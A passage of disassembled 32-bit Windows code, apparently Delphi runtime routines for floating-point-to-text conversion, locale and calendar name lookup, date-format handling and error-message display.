CHUNK FOR sub_404C38 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F10 proc near ; CODE XREF: sub_404C38+72p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00405133 SIZE 00000009 BYTES push ebp mov ebp, esp add esp, 0FFFFFFE0h push edi push esi push ebx mov ebx, eax mov esi, edx mov [ebp+var_4], 0 cmp cl, 0 jz short loc_404F33 call sub_40505F jmp loc_405133 ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F10+17j call sub_404F3D jmp loc_405133 sub_404F10 endp ; =============== S U B R O U T I N E ======================================= sub_404F3D proc near ; CODE XREF: sub_404F10:loc_404F33p mov ax, [esi+8] mov edx, eax and eax, 7FFFh jz short loc_404F68 cmp eax, 7FFFh jnz short loc_404F73 test word ptr [esi+6], 8000h jz short loc_404F6A cmp dword ptr [esi], 0 jnz short loc_404F67 cmp dword ptr [esi+4], 80000000h jz short loc_404F6A loc_404F67: ; CODE XREF: sub_404F3D+1Fj inc eax loc_404F68: ; CODE XREF: sub_404F3D+Bj ; sub_404F3D+AFj xor edx, edx loc_404F6A: ; CODE XREF: sub_404F3D+1Aj ; sub_404F3D+28j mov byte ptr [ebx+3], 0 jmp loc_405040 ; --------------------------------------------------------------------------- loc_404F73: ; CODE XREF: sub_404F3D+12j fld tbyte ptr [esi] sub eax, 3FFFh imul eax, 4D10h sar eax, 10h inc eax mov [ebp-8], eax mov eax, 12h sub eax, [ebp-8] fabs push ebx mov ebx, [ebp-4] call sub_401C00 pop ebx frndint mov edi, [ebp-4] fld ds:tbyte_409100[edi] fcomp st(1) fstsw word ptr [ebp-0Ah] wait test word ptr [ebp-0Ah], 4100h jz short loc_404FBE fidiv ds:flt_40910C[edi] inc dword ptr [ebp-8] loc_404FBE: ; CODE XREF: sub_404F3D+76j fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] mov edx, 9 wait loc_404FCA: ; CODE XREF: sub_404F3D+A0j mov al, [edx+ebp-19h] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_404FCA xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_404FF1 xor eax, eax jmp loc_404F68 ; --------------------------------------------------------------------------- loc_404FF1: ; CODE XREF: sub_404F3D+ABj cmp edi, [ebp+0Ch] jb short loc_404FF9 mov edi, [ebp+0Ch] loc_404FF9: ; CODE XREF: sub_404F3D+B7j cmp edi, 12h jnb short loc_405025 cmp byte ptr [ebx+edi+3], 35h jb short loc_40502A loc_405005: ; CODE XREF: sub_404F3D+D9j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40501A inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_405005 jmp short loc_405039 ; --------------------------------------------------------------------------- loc_40501A: ; CODE XREF: sub_404F3D+CEj mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_405039 ; --------------------------------------------------------------------------- loc_405025: ; CODE XREF: sub_404F3D+BFj mov edi, 12h loc_40502A: ; CODE XREF: sub_404F3D+C6j ; sub_404F3D+FAj mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40504B cmp byte ptr [ebx+edi+3], 30h jz short loc_40502A loc_405039: ; CODE XREF: sub_404F3D+DBj ; sub_404F3D+E6j mov dx, [esi+8] loc_40503D: ; CODE XREF: sub_404F3D+110j mov eax, [ebp-8] loc_405040: ; CODE XREF: sub_404F3D+31j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; --------------------------------------------------------------------------- loc_40504B: ; CODE XREF: sub_404F3D+F3j ; DATA XREF: sub_40505F+60r xor edx, edx jmp short loc_40503D sub_404F3D endp ; --------------------------------------------------------------------------- db 0Ah dd 64000000h, 0E8000000h, 10000003h db 27h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_40505F proc near ; CODE XREF: sub_404F10+19p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_405125 or edx, edx jns short loc_405079 neg edx neg eax sbb edx, 0 loc_405079: ; CODE XREF: sub_40505F+11j xor ecx, ecx mov edi, [ebp+8] or edi, edi jge short loc_405084 xor edi, edi loc_405084: ; CODE XREF: sub_40505F+21j cmp edi, 4 jl short loc_4050A8 mov edi, 4 loc_40508E: ; CODE XREF: sub_40505F+3Bj inc ecx sub eax, 0A7640000h sbb edx, 0DE0B6B3h jnb short loc_40508E dec ecx add eax, 0A7640000h adc edx, 0DE0B6B3h loc_4050A8: ; CODE XREF: sub_40505F+28j mov [ebp-20h], eax mov [ebp-1Ch], edx fild qword ptr [ebp-20h] mov edx, edi mov eax, 4 sub eax, edx jz short loc_4050C6 mov edi, [ebp-4] fidiv dword ptr loc_40504B[edi+eax*4] loc_4050C6: ; CODE XREF: sub_40505F+5Bj fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] wait or ecx, ecx jnz short loc_4050EC mov ecx, 9 loc_4050D6: ; CODE XREF: sub_40505F+89j mov al, [ecx+ebp-19h] mov ah, al shr al, 4 jnz short loc_4050FF mov al, ah and al, 0Fh jnz short loc_405106 dec ecx jnz short loc_4050D6 jmp short loc_405125 ; --------------------------------------------------------------------------- loc_4050EC: ; CODE XREF: sub_40505F+70j mov al, cl add al, 30h stosb mov ecx, 9 loc_4050F6: ; CODE XREF: sub_40505F+ABj mov al, [ecx+ebp-19h] mov ah, al shr al, 4 loc_4050FF: ; CODE XREF: sub_40505F+80j add al, 30h stosb mov al, ah and al, 0Fh loc_405106: ; CODE XREF: sub_40505F+86j add al, 30h stosb dec ecx jnz short loc_4050F6 mov eax, edi lea ecx, [ebx+edx+3] sub eax, ecx loc_405114: ; CODE XREF: sub_40505F+BCj mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_405114 mov edx, [esi+4] shr edx, 1Fh jmp short loc_40512C ; --------------------------------------------------------------------------- loc_405125: ; CODE XREF: sub_40505F+9j ; sub_40505F+8Bj xor eax, eax xor edx, edx mov [ebx+3], al loc_40512C: ; CODE XREF: sub_40505F+C4j mov [ebx], ax mov [ebx+2], dl retn sub_40505F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404F10 loc_405133: ; CODE XREF: sub_404F10+1Ej ; sub_404F10+28j pop ebx pop esi pop edi mov esp, ebp pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_404F10 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40513C proc near ; CODE XREF: sub_4051B0+1Cp ; sub_4053C4+27p ... LCData = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h ; cchData lea ecx, [ebp+LCData] push ecx ; lpLCData push edx ; LCType push eax ; Locale call GetLocaleInfoA_0 test eax, eax jle short loc_405175 mov ecx, eax dec ecx lea edx, [ebp+LCData] mov eax, ebx call sub_4026B4 jmp short loc_40517E ; --------------------------------------------------------------------------- loc_405175: ; CODE XREF: sub_40513C+25j mov eax, ebx mov edx, esi call sub_40261C loc_40517E: ; CODE XREF: sub_40513C+37j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_40513C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405188 proc near ; CODE XREF: sub_4064C4+ADp ; sub_4064C4+C0p ... LCData = byte ptr -10h push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 ; cchData lea eax, [esp+14h+LCData] push eax ; lpLCData push esi ; LCType push edi ; Locale call GetLocaleInfoA_0 test eax, eax jle short loc_4051A9 mov al, [esp+10h+LCData] jmp short loc_4051AB ; --------------------------------------------------------------------------- loc_4051A9: ; CODE XREF: sub_405188+1Aj mov eax, ebx loc_4051AB: ; CODE XREF: sub_405188+1Fj pop edx pop edi pop esi pop ebx retn sub_405188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051B0 proc near ; CODE XREF: sub_4051EC+46p ; sub_4051EC+69p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ebx, [ebp+arg_0] push ebx mov eax, [ebp+arg_8] mov eax, [eax-4] xor ecx, ecx mov edx, esi call sub_40513C cmp dword ptr [ebx], 0 jnz short loc_4051E3 mov eax, [ebp+var_4] mov eax, [eax+edi*4] mov edx, ebx call sub_4033B0 loc_4051E3: ; CODE XREF: sub_4051B0+24j pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_4051B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051EC proc near ; CODE XREF: sub_4064C4+23p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi xor eax, eax push ebp push offset loc_4052FF push dword ptr fs:[eax] mov fs:[eax], esp call GetThreadLocale_0 mov [ebp+var_4], eax mov ebx, 1 mov esi, offset dword_40A6D8 mov edi, offset dword_40A708 loc_40521F: ; CODE XREF: sub_4051EC+83j push ebp push 0Bh lea eax, [ebp+var_C] push eax mov ecx, offset off_409110 mov edx, ebx dec edx lea eax, [ebx+44h] dec eax call sub_4051B0 pop ecx mov edx, [ebp+var_C] mov eax, esi call sub_40261C push ebp push 0Bh lea eax, [ebp+var_10] push eax mov ecx, offset off_409140 mov edx, ebx dec edx lea eax, [ebx+38h] dec eax call sub_4051B0 pop ecx mov edx, [ebp+var_10] mov eax, edi call sub_40261C inc ebx add edi, 4 add esi, 4 cmp ebx, 0Dh jnz short loc_40521F mov ebx, 1 mov esi, offset dword_40A738 mov edi, offset dword_40A754 loc_405280: ; CODE XREF: sub_4051EC+F6j lea eax, [ebx+5] mov ecx, 7 cdq idiv ecx mov [ebp+var_8], edx push ebp push 6 lea eax, [ebp+var_14] push eax mov ecx, offset off_409170 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 31h call sub_4051B0 pop ecx mov edx, [ebp+var_14] mov eax, esi call sub_40261C push ebp push 6 lea eax, [ebp+var_18] push eax mov ecx, offset off_40918C mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 2Ah call sub_4051B0 pop ecx mov edx, [ebp+var_18] mov eax, edi call sub_40261C inc ebx add edi, 4 add esi, 4 cmp ebx, 8 jnz short loc_405280 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405306 loc_4052F1: ; CODE XREF: sub_4051EC+118j lea eax, [ebp+var_18] mov edx, 4 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4052FF: ; DATA XREF: sub_4051EC+11o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4052F1 ; --------------------------------------------------------------------------- loc_405306: ; CODE XREF: sub_4051EC+112j ; DATA XREF: sub_4051EC+100o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4051EC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; BOOL __stdcall CalInfoEnumProc(LPSTR) CalInfoEnumProc proc near ; DATA XREF: sub_4053C4+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_405324 ; --------------------------------------------------------------------------- loc_40531E: ; CODE XREF: CalInfoEnumProc+1Cj cmp ebx, 7 jz short loc_405342 inc ebx loc_405324: ; CODE XREF: CalInfoEnumProc+Cj cmp ds:dword_40A77C[ebx*4], 0 jnz short loc_40531E lea eax, dword_40A77C[ebx*4] mov edx, [ebp+arg_0] call sub_40279C mov esi, 1 loc_405342: ; CODE XREF: CalInfoEnumProc+11j mov eax, esi pop esi pop ebx pop ebp retn 4 CalInfoEnumProc endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; BOOL __stdcall sub_40534C(LPSTR) sub_40534C proc near ; DATA XREF: sub_4053C4+77o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_4053B1 push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_405370 ; --------------------------------------------------------------------------- loc_40536A: ; CODE XREF: sub_40534C+2Cj cmp ebx, 7 jz short loc_40539B inc ebx loc_405370: ; CODE XREF: sub_40534C+1Cj cmp ds:dword_40A798[ebx*4], 0FFFFFFFFh jnz short loc_40536A lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40279C mov eax, [ebp+var_4] xor edx, edx call sub_4043F0 mov ds:dword_40A798[ebx*4], eax mov esi, 1 loc_40539B: ; CODE XREF: sub_40534C+21j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4053B8 loc_4053A8: ; CODE XREF: sub_40534C+6Aj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4053B1: ; DATA XREF: sub_40534C+Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4053A8 ; --------------------------------------------------------------------------- loc_4053B8: ; CODE XREF: sub_40534C+64j ; DATA XREF: sub_40534C+57o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 sub_40534C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053C4 proc near ; CODE XREF: sub_4064C4+31p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push esi xor eax, eax push ebp push offset loc_40545B push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax call GetThreadLocale_0 mov ecx, offset dword_405470 mov edx, 100Bh call sub_40513C mov eax, [ebp+var_4] mov edx, 1 call sub_4043F0 mov esi, eax mov eax, esi add eax, 0FFFFFFFDh sub eax, 3 jnb short loc_405445 push 4 ; CalType push esi ; Calendar call GetThreadLocale_0 push eax ; Locale push offset CalInfoEnumProc ; lpCalInfoEnumProc call EnumCalendarInfoA mov edx, 7 mov eax, offset dword_40A79C loc_405426: ; CODE XREF: sub_4053C4+6Cj mov dword ptr [eax], 0FFFFFFFFh add eax, 4 dec edx jnz short loc_405426 push 3 ; CalType push esi ; Calendar call GetThreadLocale_0 push eax ; Locale push offset sub_40534C ; lpCalInfoEnumProc call EnumCalendarInfoA loc_405445: ; CODE XREF: sub_4053C4+43j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405462 loc_405452: ; CODE XREF: sub_4053C4+9Cj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_40545B: ; DATA XREF: sub_4053C4+9o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405452 ; --------------------------------------------------------------------------- loc_405462: ; CODE XREF: sub_4053C4+96j ; DATA XREF: sub_4053C4+89o pop esi pop ecx pop ebp retn sub_4053C4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_405470 dd 31h ; DATA XREF: sub_4053C4+1Do ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405474 proc near ; CODE XREF: sub_4064C4+11Cp ; sub_4064C4+149p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_40563E push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_4025C8 lea eax, [ebp+var_8] push eax call GetThreadLocale_0 mov ecx, offset dword_405654 mov edx, 1009h call sub_40513C mov eax, [ebp+var_8] mov edx, 1 call sub_4043F0 add eax, 0FFFFFFFDh sub eax, 3 jb loc_405614 mov eax, ds:dword_40A774 sub eax, 4 jz short loc_4054E6 add eax, 0FFFFFFF3h sub eax, 2 jb short loc_4054E6 xor eax, eax jmp short loc_4054E8 ; --------------------------------------------------------------------------- loc_4054E6: ; CODE XREF: sub_405474+64j ; sub_405474+6Cj mov al, 1 loc_4054E8: ; CODE XREF: sub_405474+70j test al, al jz short loc_405521 jmp short loc_405511 ; --------------------------------------------------------------------------- loc_4054EE: ; CODE XREF: sub_405474+A6j mov al, [esi+ebx-1] sub al, 47h jz short loc_405510 sub al, 20h jz short loc_405510 lea eax, [ebp+var_C] mov dl, [esi+ebx-1] call sub_40278C mov edx, [ebp+var_C] mov eax, edi call sub_402848 loc_405510: ; CODE XREF: sub_405474+80j ; sub_405474+84j inc ebx loc_405511: ; CODE XREF: sub_405474+78j mov eax, esi call sub_402840 cmp ebx, eax jle short loc_4054EE jmp loc_405623 ; --------------------------------------------------------------------------- loc_405521: ; CODE XREF: sub_405474+76j mov eax, edi mov edx, esi call sub_40261C jmp loc_405623 ; --------------------------------------------------------------------------- loc_40552F: ; CODE XREF: sub_405474+1A9j mov al, [esi+ebx-1] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40556F mov edx, ebx mov eax, esi call sub_4061C0 mov [ebp+var_4], eax lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] mov edx, ebx mov eax, esi call sub_402A94 mov edx, [ebp+var_10] mov eax, edi call sub_402848 add ebx, [ebp+var_4] jmp loc_405614 ; --------------------------------------------------------------------------- loc_40556F: ; CODE XREF: sub_405474+CBj mov edx, offset dword_405658 lea eax, [esi+ebx-1] mov ecx, 2 call sub_4045F0 test eax, eax jnz short loc_405595 mov eax, edi mov edx, offset dword_405664 call sub_402848 inc ebx jmp short loc_405613 ; --------------------------------------------------------------------------- loc_405595: ; CODE XREF: sub_405474+110j mov edx, offset aYyyy ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_4045F0 test eax, eax jnz short loc_4055BD mov eax, edi mov edx, offset aEeee ; "eeee" call sub_402848 add ebx, 3 jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055BD: ; CODE XREF: sub_405474+136j mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_4045F0 test eax, eax jnz short loc_4055E3 mov eax, edi mov edx, offset dword_40568C call sub_402848 inc ebx jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055E3: ; CODE XREF: sub_405474+15Ej mov al, [esi+ebx-1] sub al, 59h jz short loc_4055EF sub al, 20h jnz short loc_4055FD loc_4055EF: ; CODE XREF: sub_405474+175j mov eax, edi mov edx, offset dword_405698 call sub_402848 jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055FD: ; CODE XREF: sub_405474+179j lea eax, [ebp+var_14] mov dl, [esi+ebx-1] call sub_40278C mov edx, [ebp+var_14] mov eax, edi call sub_402848 loc_405613: ; CODE XREF: sub_405474+11Fj ; sub_405474+147j ... inc ebx loc_405614: ; CODE XREF: sub_405474+56j ; sub_405474+F6j mov eax, esi call sub_402840 cmp ebx, eax jle loc_40552F loc_405623: ; CODE XREF: sub_405474+A8j ; sub_405474+B6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405645 loc_405630: ; CODE XREF: sub_405474+1CFj lea eax, [ebp+var_14] mov edx, 4 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_40563E: ; DATA XREF: sub_405474+14o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405630 ; --------------------------------------------------------------------------- loc_405645: ; CODE XREF: sub_405474+1C9j ; DATA XREF: sub_405474+1B7o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405474 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_405654 dd 31h ; DATA XREF: sub_405474+34o dword_405658 dd 6767h, 0FFFFFFFFh, 3 ; DATA XREF: sub_405474:loc_40556Fo dword_405664 dd 676767h ; DATA XREF: sub_405474+114o aYyyy db 'yyyy',0 ; DATA XREF: sub_405474:loc_405595o align 10h dd 0FFFFFFFFh, 4 aEeee db 'eeee',0 ; DATA XREF: sub_405474+13Ao align 10h aYy db 'yy',0 ; DATA XREF: sub_405474:loc_4055BDo align 4 dd 0FFFFFFFFh, 2 dword_40568C dd 6565h, 0FFFFFFFFh, 1 ; DATA XREF: sub_405474+162o dword_405698 dd 65h ; DATA XREF: sub_405474+17Do ; =============== S U B R O U T I N E ======================================= sub_40569C proc near ; CODE XREF: CODE:0040570Bp test eax, eax jz short locret_4056A5 sub eax, 1000h locret_4056A5: ; CODE XREF: sub_40569C+2j retn sub_40569C endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp-4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp-330h] push eax push ebx call VirtualQuery cmp dword ptr [ebp-320h], 1000h jnz short loc_4056F2 push 105h lea eax, [ebp-212h] push eax mov eax, [ebp-32Ch] push eax call GetModuleFileNameA_0 test eax, eax jnz short loc_405715 loc_4056F2: ; CODE XREF: CODE:004056D4j push 105h lea eax, [ebp-212h] push eax mov eax, ds:dword_40A694 push eax call GetModuleFileNameA_0 mov eax, ebx call sub_40569C mov [ebp-8], eax jmp short loc_40571E ; --------------------------------------------------------------------------- loc_405715: ; CODE XREF: CODE:004056F0j sub ebx, [ebp-32Ch] mov [ebp-8], ebx loc_40571E: ; CODE XREF: CODE:00405713j lea eax, [ebp-212h] mov dl, 5Ch call sub_4061FC mov edx, eax inc edx lea eax, [ebp-10Dh] mov ecx, 104h call sub_4045BC mov ebx, offset dword_405828 mov edi, offset dword_405828 mov eax, esi mov edx, off_4039D8 call sub_401FD4 test al, al jz short loc_40577A mov eax, [esi+4] call sub_402A38 mov ebx, eax mov eax, ebx call sub_404594 test eax, eax jz short loc_40577A cmp byte ptr [ebx+eax-1], 2Eh jz short loc_40577A mov edi, offset dword_40582C loc_40577A: ; CODE XREF: CODE:00405757j ; CODE:0040576Cj ... push 100h lea eax, [ebp-312h] push eax mov eax, ds:off_409404 mov eax, [eax+4] push eax mov eax, ds:dword_40A694 call sub_402F04 push eax call LoadStringA_0 lea edx, [ebp-458h] mov eax, [esi] call sub_401EF4 lea eax, [ebp-458h] mov [ebp-358h], eax mov byte ptr [ebp-354h], 4 lea eax, [ebp-10Dh] mov [ebp-350h], eax mov byte ptr [ebp-34Ch], 6 mov eax, [ebp-8] mov [ebp-348h], eax mov byte ptr [ebp-344h], 5 mov [ebp-340h], ebx mov byte ptr [ebp-33Ch], 6 mov [ebp-338h], edi mov byte ptr [ebp-334h], 6 lea eax, [ebp-358h] push eax push 4 lea ecx, [ebp-312h] mov edx, [ebp+8] mov eax, [ebp-4] call sub_404AE0 mov eax, [ebp-4] call sub_404594 pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 dword_405828 dd 0 ; DATA XREF: CODE:0040573Eo ; CODE:00405743o dword_40582C dd 2Eh, 0FBBCC481h, 68FFFFh, 8D000004h, 0E848244Ch, 0FFFFFE64h ; DATA XREF: CODE:00405775o ; --------------------------------------------------------------------------- mov eax, ds:off_4093C0 cmp byte ptr [eax], 0 jz short loc_40589D mov eax, ds:off_409320 call sub_401830 call sub_4012E4 push 0 lea eax, [esp+4] push eax lea eax, [esp+4Ch] call sub_404594 push eax lea eax, [esp+50h] push eax push 0FFFFFFF5h call GetStdHandle_0 push eax call WriteFile_0 push 0 lea eax, [esp+4] push eax push 2 push offset dword_4058E4 push 0FFFFFFF5h call GetStdHandle_0 push eax call WriteFile_0 jmp short loc_4058D3 ; --------------------------------------------------------------------------- loc_40589D: ; CODE XREF: CODE:0040584Cj push 40h lea eax, [esp+8] push eax mov eax, ds:off_409304 mov eax, [eax+4] push eax mov eax, ds:dword_40A694 call sub_402F04 push eax call LoadStringA_0 push 2010h lea eax, [esp+8] push eax lea eax, [esp+4Ch] push eax push 0 call MessageBoxA loc_4058D3: ; CODE XREF: CODE:0040589Bj add esp, 444h retn ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_4058E4 dd 0A0Dh ; DATA XREF: CODE:00405889o ; =============== S U B R O U T I N E ======================================= sub_4058E8 proc near ; CODE XREF: sub_405AA0+32p ; sub_405B20+38p ... push ebx push esi push edi test dl, dl jz short loc_4058F7 add esp, 0FFFFFFF0h call sub_402078 loc_4058F7: ; CODE XREF: sub_4058E8+5j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_40261C mov eax, edi test bl, bl jz short loc_40591C call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_40591C: ; CODE XREF: sub_4058E8+23j mov eax, edi pop edi pop esi pop ebx retn sub_4058E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405924 proc near ; CODE XREF: sub_405B74+77p ; sub_405CFC+127p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_405938 add esp, 0FFFFFFF0h call sub_402078 loc_405938: ; CODE XREF: sub_405924+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_40597E push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, esi call sub_404B20 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405985 loc_405975: ; CODE XREF: sub_405924+5Fj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_40597E: ; DATA XREF: sub_405924+1Do jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405975 ; --------------------------------------------------------------------------- loc_405985: ; CODE XREF: sub_405924+59j ; DATA XREF: sub_405924+4Co mov eax, edi test bl, bl jz short loc_40599A call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_40599A: ; CODE XREF: sub_405924+65j mov eax, edi pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_405924 endp ; =============== S U B R O U T I N E ======================================= sub_4059A4 proc near ; CODE XREF: CODE:00405C59p ; sub_405FA4+Dp ... push ebx push esi push edi test dl, dl jz short loc_4059B3 add esp, 0FFFFFFF0h call sub_402078 loc_4059B3: ; CODE XREF: sub_4059A4+5j mov esi, ecx mov ebx, edx mov edi, eax lea edx, [edi+4] mov eax, esi call sub_4033B0 mov eax, edi test bl, bl jz short loc_4059D8 call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_4059D8: ; CODE XREF: sub_4059A4+23j mov eax, edi pop edi pop esi pop ebx retn sub_4059A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059E0 proc near ; CODE XREF: sub_4043CC+14p ; sub_405AA0+51p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push ebx push esi push edi test dl, dl jz short loc_4059F6 add esp, 0FFFFFFF0h call sub_402078 loc_4059F6: ; CODE XREF: sub_4059E0+Cj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_405A4C push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax lea edx, [ebp+var_8] mov eax, esi call sub_4033B0 mov eax, [ebp+var_8] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] call sub_404B20 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405A53 loc_405A3E: ; CODE XREF: sub_4059E0+71j lea eax, [ebp+var_8] mov edx, 2 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_405A4C: ; DATA XREF: sub_4059E0+1Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405A3E ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059E0+6Bj ; DATA XREF: sub_4059E0+59o mov eax, edi test bl, bl jz short loc_405A68 call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_405A68: ; CODE XREF: sub_4059E0+77j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_4059E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405A74 proc near ; DATA XREF: CODE:00403A84o ; CODE:00403AE0o ... cmp byte ptr [eax+0Ch], 0 jz short locret_405A7F call sub_401F24 locret_405A7F: ; CODE XREF: sub_405A74+4j retn sub_405A74 endp ; --------------------------------------------------------------------------- off_405A80 dd offset dword_405A84 ; DATA XREF: sub_406B98+50r dword_405A84 dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:off_405A80o db 3 dup(0) dd offset off_401000 db 4 align 10h ; =============== S U B R O U T I N E ======================================= sub_405AA0 proc near ; CODE XREF: sub_405B20:loc_405B61p var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_401320 mov esi, eax jmp short loc_405AB1 ; --------------------------------------------------------------------------- loc_405AB0: ; CODE XREF: sub_405AA0+1Dj inc ebx loc_405AB1: ; CODE XREF: sub_405AA0+Ej cmp ebx, 6 jg short loc_405ABF cmp esi, ds:dword_4091A8[ebx*8] jnz short loc_405AB0 loc_405ABF: ; CODE 